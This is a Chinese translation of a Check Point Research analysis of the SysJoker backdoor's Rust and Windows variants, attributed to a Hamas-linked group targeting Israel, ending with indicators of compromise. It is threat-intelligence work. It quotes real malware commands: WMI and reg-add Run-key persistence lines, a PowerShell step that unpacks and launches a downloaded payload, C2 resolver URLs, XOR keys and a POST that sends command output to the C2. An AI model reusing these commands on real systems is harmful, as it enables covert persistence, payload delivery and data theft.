针对以色列的哈马斯SysJoker恶意软件演变追踪

2023年 11月 30日 71.3k 0

主要发现

  • Check Point Research 正在积极跟踪 SysJoker 的演变,这是一个先前未公开的多平台后门,我们评估它被哈马斯附属的 APT 用于针对以色列。
  • 其中最显着的变化是转向 Rust 语言,这表明恶意软件代码被完全重写,同时仍然保持类似的功能。此外,攻击者转而使用 OneDrive 而不是 Google Drive 来存储动态 C2(命令和控制服务器)URL。
  • 对新发现的 SysJoker 变体的分析揭示了与之前未公开的“电粉行动”样本的联系,这是 2016 年至 2017 年间针对以色列组织的一系列针对性攻击,与名为“加沙网络帮”的威胁行为者存在松散联系。

介绍

在以色列与哈马斯战争的紧张局势中,Check Point Research 一直在进行积极的威胁搜寻,以发现、归因和减轻相关的区域威胁。其中,SysJoker 恶意软件的一些新变体,包括用 Rust 编码的变体,最近引起了我们的注意。我们的评估是,这些被哈马斯相关威胁者用于有针对性的攻击。

SysJoker 最初 由 Intezer 于 2021 年发现 ,是一个多平台后门,具有适用于 Windows、Linux 和 Mac 的多个变体。 在原始发布几个月后的另一份报告中也分析了相同的恶意软件 。从那时起,SysJoker Windows 变体已经发展到足以保持低调。

当我们调查 2023 年用于针对性攻击的 SysJoker 新变体时,我们还发现了一个用 Rust 编写的变体,这表明恶意软件代码已被完全重写。此外,我们还发现了  与 2016-2017 年针对以色列的另一个名为“Operation Electric Powder”的活动的行为相似之处。该活动此前与加沙网络帮(又名 Molerats)有关,该组织是一个与巴勒斯坦利益集团联合行动的威胁组织。

在本文中,我们深入研究了 SysJoker 的 Rust 版本,并披露了有关其他 SysJoker Windows 变体及其归属的更多信息。

Rust SysJoker 变体

SysJoker 变体 ( 9416d7dc2ecdeda92ba35cd5e54eb044) 用 Rust 编写,于 2023 年 10 月 12 日提交给 VirusTotal,其名称 php-cgi.exe 为几个月前的 8 月 7 日编译,包含以下 PDB 路径:  C:CodeRustRustDown-BelaltargetreleasedepsRustDown.pdb

该恶意软件在其执行的各个阶段采用随机睡眠间隔,这可以作为可能的反沙箱或反分析措施。

样本有两种操作模式,这取决于其在特定路径中的存在。这是为了根据持久性区分第一次执行和任何后续执行。

首先,它检查当前运行的模块是否与路径匹配 C:ProgramDataphp-7.4.19-Win32-vc15-x64php-cgi.exe。根据结果​​,恶意软件会进入两个可能阶段之一。

第一次执行

如果示例从其他位置运行,表明这是第一次执行示例,则恶意软件会将自身复制到该路径, C:ProgramDataphp-7.4.19-Win32-vc15-x64php-cgi.exe 然后使用带有以下参数的 PowerShell 从新创建的路径运行自身:

-Command C:ProgramDataphp-7.4.19-Win32-vc15-x64php-cgi.exe

最后,它创建一个持久化机制,然后退出程序。

持久性是以一种不寻常的方式建立的,使用带有以下参数的 PowerShell:

-Command "$reg=[WMIClass]'ROOTDEFAULT:StdRegProv';
$results=$reg.SetStringValue('&H80000001','SoftwareMicrosoftWindowsCurrentVersionRun', 'php-cgi', 'C:ProgramDataphp-7.4.19-Win32-vc15-x64php-cgi.exe');"

最终,此 PowerShell 代码 使用 WMI StdRegProRun类 在 HKEY_CURRENT_USER 配置单元中创建一个注册表项,该注册表项指向可执行文件的副本,  而不是通过 Windows API 或 reg.exe 直接访问注册表。

后续执行(来自持久性)

SysJoker 联系 OneDrive 上的 URL 以检索 C2 服务器地址。URL 在二进制文件中进行硬编码和加密:

https://onedrive.live[.]com/download?resid=16E2AEE4B7A8BBB1%21112&authkey=!AED7TeCJaC7JNVQ

响应还应包含以 Base64 编码的 XOR 加密数据 blob。在我们的调查过程中,收到以下答复:

KnM5Sjpob2glNTY8AmcaYXt8cAh/fHZ+ZnUNcwdld2Mr

解密后,C2 IP地址和端口显露出来:

{"url":"http://85.31.231[.]49:443"}

使用 OneDrive 可以让攻击者轻松更改 C2 地址,从而使他们能够领先于不同的基于信誉的服务。此行为在不同版本的 SysJoker 中保持一致。

该恶意软件收集有关受感染系统的信息,包括 Windows 版本、用户名、MAC 地址和各种其他数据。然后,此信息被发送到 /api/attach C2 服务器上的 API 端点,作为响应,它会收到一个唯一的令牌,该令牌在恶意软件与 C2 通信时充当标识符:

图 1 – 机器人注册 API 调用

向 C2 服务器注册后,该示例运行主 C2 循环。它向端点发送包含唯一令牌的 POST 请求 /api/req ,C2 使用 JSON 数据进行响应:

图 2 – 命令请求和响应

服务器的预期响应是一个 JSON,其中包含一个名为 的字段, data 该字段包含供示例执行的操作数组。id 每个数组由和 字段组成 request 。该 request 字段是另一个 JSON,其字段名为 urlname。来自服务器的响应示例:

{"data":[{"id":"1", "request":"{"url": "http://85.31.231[.]49/archive_path", "name":"mal_1.exe"}"}, {"id":"2", "request":"{"url": "http://85.31.231[.]49/archive_path", "name":"mal_2.exe"}"}]}

恶意软件从字段中指定的 URL 下载 zip 存档 url 。该存档包含一个可执行文件,解压缩后将其作为字段保存 name 到 C:ProgramDataphp-Win32-libs 文件夹中。使用以下 PowerShell 命令解压缩存档:

powershell -Command Expand-Archive -Path C:ProgramDataphp-Win32-libsXMfmF.zip -DestinationPath C:ProgramDataphp-Win32-libs ; start C:ProgramDataphp-Win32-libsexe_name.exe

值得一提的是,在之前的 SysJoker 操作中,恶意软件不仅能够从存档中下载和执行远程文件,还能够执行操作员指定的命令。Rust 版本中缺少此功能。接收并执行文件下载命令后,根据操作是否成功,恶意软件再次联系C2服务器,并向路径发送成功或异常消息 /api/req/res。服务器发回 JSON 确认,表明已收到信息:  {"status":"success"}。

加密

该恶意软件有两种字符串解密方法。第一种方法很简单,并且出现在多个 SysJoker 变体中。该示例包含多个 Base64 编码的加密数据 blob 和一个 Base64 编码的密钥。解密后,两个 blob 都会进行 Base64 解码,然后进行异或以生成纯文本字符串。

第二种加密方法比较繁琐,并且在编译时在整个程序中重复内联拼接。这会在整个示例中生成复杂的字符串解密算法。

图 3 – 字符串“php-”的解密示例

Windows SysJoker 变体

除了新发现的 Rust 变种之外,我们还发现了另外两个过去未公开曝光的 SysJoker 样本。这两个样本都比 Rust 版本或任何之前分析的样本稍微复杂一些,可能是由于公开发现和分析了恶意软件。与其他版本相比,其中一个示例具有多阶段执行流程,由下载程序、安装程序和单独的有效负载 DLL 组成。

DMA设备变体

DMADevice 样本 ( d51e617fe1c1962801ad5332163717bb) 于 2022 年 5 月编译,即 SysJoker 首次被发现几个月后。

与其他版本一样,恶意软件首先通过联系 URL 来检索 C2 服务器地址:

https://onedrive.live[.]com/download?cid=F6A7DCE38A4B8570&resid=F6A7DCE38A4B8570!115&authkey=AKcf8zLcDneJZHw

OneDrive 链接使用加密的 base64 编码字符串进行响应,该字符串使用 XOR 密钥进行解密 QQL8VJUJMABL8H5YNRC9QNEOHA4I3QDAVWP5RY9L0HCGWZ4T7GTYQTCQTHTTN8RV6BMKT3AICZHOFQS8MTT。这与 Rust 版本中使用的密钥相同。

解密的 blob 包含一个带有 C2 域的 JSON,格式如下:

{"url":"http://sharing-u-file[.]com"}

接下来,恶意软件进入三阶段执行过程。

1.安装文件和持久化

该示例生成一个唯一的机器人 ID,将其通过 POST 请求发送到 /api/cc API 端点,并接收回描述受感染计算机上所需恶意软件设置的 JSON。

JSON 具有以下结构:

{"key":"f57d611b-0779-4125-a3e8-4f8ca3116509","pi":"VwUD[REDACTED]","data":"PRdkHUVFVA9pQl5BXA8YE2JHQgZBBFVpVRJZQU0RdXx3cVVPD1ZSRhoTdS9sY1hbTFldXlx8QwIRSRppeSdrDA1GRVhZW3lXBRtSHFMTHUBpfXZkVkFBRVtaQyhdBhZJWAoaT0NDXkZTR0NRA1lbSlNJVEABElRaXQ8YE11FSA8RSRpeQAdKF0MfE20ZVhBrI3IXJXJ1ESpmc2JrZX57d2ZibDN2OWRgXQVKDBJcV0VqaWdQCFFYE0VtbSFYQkVSV1liVEBGRA5dOWR/QQgYP05lEx0UaR9NRmdyI2lia0JxH3MVFQ8aVEpQD00RQV1DQlxNEARBX1BbUBBFRnpCEBt3WA5IEBpyV05bVVtbSkEUEExLDEEYREMfE2J5c2RuJ2dyOGp8WAFfX0RYX1lobWVcQwVcEktxaCVNERNWX0VgUEJKD1pZOGpjRAwPbQ=="}

JSON 中的字段 key 用于对其他字段进行 Base64 解码后进行异或解密:该 pi 字段包含受害者的 IP 地址,该 data 字段包含具有多个值的数组:

["SystemDrive","ProgramData","DMADevice","DMASolutionInc","DMASolutionInc.exe","DMASolutionInc.dll","powershell.exe","cmd","open","start","/c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V","/t REG_SZ /D",".exe","$env:username | Out-File -Encoding 'utf8' '","SOFTWARE\Microsoft\Windows\CurrentVersion\Run"] 

这些值按以下顺序使用:

  • SystemDrive – 获取系统硬盘盘符。
  • ProgramData – 在指定的(本例中为 ProgramData)文件夹下创建这两个文件夹:
  • – DMADevice – 创建的第一个文件夹名称。
  • – DMASolutionInc.exe – 当前运行的可执行文件用于自我复制到 DMADevice 文件夹中的文件名。
  • DMASolutionInc.dll – 配置文件的名称。
  • DMASolutionInc – 创建的第二个文件夹名称。

其余值用于通过注册表项建立持久性 并从 临时 txt 文件中Run 检索当前用户名的 一些命令。$env

在我们的例子中,配置文件 DMASolutionInc.dll存储在加密的磁盘上(使用与解密域相同的密钥)和 Base64 编码。它包含带有以下字段的加密 JSON:

{"id":"[BOT-ID]","us":"[USERNAME]","ip":"[IP]"}

执行完所有这些操作后,样本将执行其副本 DMASolutionInc.exe 并退出。

2.向C2服务器注册

当再次执行样本时(通过前一阶段的持久性),它会检查它运行的位置。/api/add 然后,它通过发出包含 uuid、用户名和用户令牌的POST 请求来继续执行 ,这些请求也是由恶意软件生成的:

uuid=bot-id&nu=username&user_token=token

服务器使用其端生成的令牌进行响应,然后将其用于所有后续 C2 请求。

3.C2主循环

前一阶段收到的令牌用于向 /api/cr C2 服务器发出 POST 请求以检索要执行的命令。

与其他 SysJoker 变体类似,服务器响应一个 JSON,其中包含 data 要执行的操作数组的字段。该版本可以下载并执行文件或运行命令并将结果上传到C2服务器。对于数组中的每个命令,示例都会发送一个响应报告是否成功。

AppMessagingRegistrar 变体

该变体的编译时间戳为 2022 年 6 月,并且执行流程截然不同。该恶意软件的功能分为两个独立的组件:下载程序 (DDN,  c2848b4e34b45e095bd8e764ca1a4fdd) 和后门 (AppMessagingRegistrar,  31c2813c1fb1e42b85014b2fc3fe0666)。

DDN下载器

威胁行为者首先提供一个轻量级下载器。它创建该文件夹C:ProgramDataNuGet Library,然后从 中下载一个 zip 文件 https://filestorage-short[.]org/drive/AppMessagingRegistrar.zip。它解压缩文件,将其复制到 AppMessagingRegistrar.exe 文件中,然后执行它。

事实证明,将功能拆分为单独的组件是有效的:在首次提交给 VirusTotal (VT) 时,该恶意软件并未被任何平台的引擎检测到:

图 4 – DNN 下载器首次提交给 VT 时检测到 0 次 (2023-04-09)

应用程序消息注册器

SOFTWAREIntelUNPProgramUpdatesUUID 执行时,该有效负载首先检查PC 的 UUID 的注册表项 。如果注册表项不可用,则使用该函数生成 UUID  UuidCreate ,然后将其保存到前面提到的注册表项中。

图 5 – Uuid 生成

然后,该变体继续解密硬编码的 OneDrive URL 以检索 C2 地址。此示例中的 XOR 键是 22GC18YH0N4RUE0BSJOAVW24624ULHIQGS4Y1BQQUZYTENJN2GBERQBFKF2W78H7。

C2 地址解密后,将向 /api/register 包含先前生成的 UUID 的 C2 服务器 API 端点发出 POST 请求。

服务器使用包含令牌和状态消息的 JSON 进行响应:

{"status": "success", "token":"[TOKEN]", "status_num":1}

状态指示请求是否有效,并且示例专门检查字符串 “success”。该 令牌 用于以下所有 C2 请求,但与所有其他示例不同,它不是使用请求正文,而是在 Authorization 标头中发送:  Authorization: Bearer [TOKEN]。此更改可能是为了适应恶意软件执行中的其他流程(如下所述),其中恶意软件发送 GET 请求而不是 POST,并且需要服务器识别发送者的机制。

该 status_num 字段用作全局标志,指示机器人应采取哪些操作。有四种状态可用:

设置阶段

如果收到的 status_num 值为 0,则恶意软件将创建 C:ProgramDataIntelUNPProgramUpdates 和 C:ProgramDataIntelDriversMsoftUpdates 文件夹。然后它继续:

  • UrlDownloadToFileW 使用该函数从路径 下载 DLL 文件 /api/library/[TOKEN] 并将其保存到 C:ProgramDataIntelDriversMsoftUpdatesMsoftInit.dll.
  • 加载 MsoftInit.dll 并调用 init 导出的函数。
  • 再次加载相同的 DLL 并调用 step 导出的函数。
  • 这些函数的确切用途尚不清楚,因为我们无法检索 DLL。然而,根据恶意软件的名称和我们对以前版本的分析,我们相信它们是持久性和安装过程的一部分。最后,恶意软件向 API 端点发送一个空的 POST 请求 /api/update。服务器的预期响应是一个空的 JSON。

    空闲循环

    如果 为 1,则恶意软件会继续 无限循环地status_num 向 C2 API 端点发出请求 。/api/status要打破循环, status_num 必须改变。

    主要负载下载

    如果 status_num 为 3,恶意软件将继续从 URL 下载 DLL 文件 /api/library/[TOKEN] 并将其保存到路径 中 C:ProgramDataIntelDriversMsoftUpdatesMsoftNotify.dll。然后,它向 C2 API 端点发送请求 /api/ready:如果服务器以状态响应, success, 则状态标志将设置为 4。

    有效负载执行

    如果状态为 4,则恶意软件将继续向 C2 API 端点发出 GET 请求 /api/requests。C2 服务器使用包含 3 个参数的 JSON 进行响应:  id、 r和 k。

    然后恶意软件加载 MsoftNotify.dll DLL 并解析该函数 st​​。从服务器发送的和 r 值 k 用作 st 参数。我们无法检索到该DLL,但根据之前的版本,这很可能是后门运行功能的主命令版本,其返回值应该是一个字符串。函数运行并返回结果后, id 令牌中收到的内容将用于对 C2 的 POST 请求,其中包含输出:

    POST /api/requests/[ID] HTTP/1.1
    Host: [62.108.40.129](https://www.virustotal.com/gui/url/79fde5d4b19cbd1f920535215c558b6ff63973b7af7d6bd488e256821711e0b1)
    Accept: application/json
    Authorization: Bearer [TOKEN]
    Content-Length: 15
    Content-Type: application/x-www-form-urlencoded
    
    response=[EXECUTION OUTPUT]

    基础设施

    此活动中使用的基础设施是动态配置的。首先,恶意软件会联系 OneDrive 地址,并从那里解密包含要通信的 C2 地址的 JSON。C2 地址使用硬编码的 XOR 密钥进行加密并进行 Base64 编码。

    该威胁行为者通常使用云存储服务。之前的报告显示 Google Drive 也被用于同样的目的。

    图 6 – 包含加密 C2 服务器的 OneDrive 文件的元数据

    与 Operation Electric 的联系

    SysJoker 后门对三个主要字符串使用自己的自定义加密:包含最终 C2 地址的 OneDrive URL、从 OneDrive 请求中收到的 C2 地址以及用于持久性的 PowerShell 命令:

    $reg=[WMIClass]'ROOTDEFAULT:StdRegProv';
    $results=$reg.SetStringValue('&H80000001','SoftwareMicrosoftWindowsCurrentVersionRun'[TRUNCATED]

    这个基于 StdRegProv WMI 类的 PowerShell 命令非常独特。它在 SysJoker 的多个变体之间共享,并且似乎只与另一项活动共享,该活动与 ClearSky 之前报道的“电粉行动”相关。

    2017 年 报告 描述了 2016 年至 2017 年针对以色列电力公司 (IEC) 持续开展的活动。该行动使用网络钓鱼和虚假 Facebook 页面来传播 Windows 和 Android 恶意软件。此活动中使用的 Windows 恶意软件由植入程序、主要后门以及基于 Python 的键盘记录和屏幕抓取模块组成。

    在我们对 SysJoker 操作的分析过程中,我们发现有迹象表明,尽管两次攻击之间的时间间隔很大,但两次攻击都是由同一个参与者造成的。这两个活动都使用了以 API 为主题的 URL,并以类似的方式实现了脚本命令。这包括 Run 注册表值,但不是唯一的共同因素。例如,下图显示了不同恶意软件在从受感染设备收集侦察数据到临时文本文件时使用的命令之间的相似之处:

    图 7 –在 Electric Powder → 原始 SysJoker → DMADevice SysJoker 变体中使用该 命令

    结论

    尽管 SysJoker 恶意软件于 2021 年首次出现并于 2022 年公开描述,但并未归因于任何已知的攻击者,但我们发现有证据表明该工具及其较新的变体已被用作以色列与哈马斯冲突的一部分。我们还能够将 SysJoker 与 2016-2017 年针对以色列电力公司的电粉行动联系起来。

    在我们的报告中,我们描述了恶意软件的演变及其执行流程复杂性的变化,以及其最新转向 Rust 语言及其使用的最新基础设施。

    该恶意软件的早期版本是用 C++ 编码的。由于没有直接的方法将该代码移植到 Rust,这表明该恶意软件经过了完全重写,并可能作为未来更改和改进的基础。

    IOC

    基础设施

    85.31.231[.]49
    sharing-u-file[.]com
    filestorage-short[.]org
    audiosound-visual[.]com
    62.108.40[.]129

    Hashes

    d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72
    6c8471e8c37e0a3d608184147f89d81d62f9442541a04d15d9ead0b3e0862d95
    e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836
    96dc31cf0f9e7e59b4e00627f9c7f7a8cac3b8f4338b27d713b0aaf6abacfe6f
    67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706
    0ff6ff167c71b86c511c36cba8f75d1d5209710907a807667f97ce323df9c4ba

    转载来源:https://research.checkpoint.com/2023/israel-hamas-war-spotlight-shaking-the-rust-off-sysjoker/

    图片来源网络目标可联系删除

    相关文章

    Mallox勒索软件新Linux变种现世
    伪装成破解程序和商业工具的新型恶意软件正在传播
    Orcinius后门新样本分析
    Poseidon窃取程序通过Google广告感染Mac用户
    大选开始之际,欧盟各政党遭受 DDoS 攻击
    微软2024

    发布评论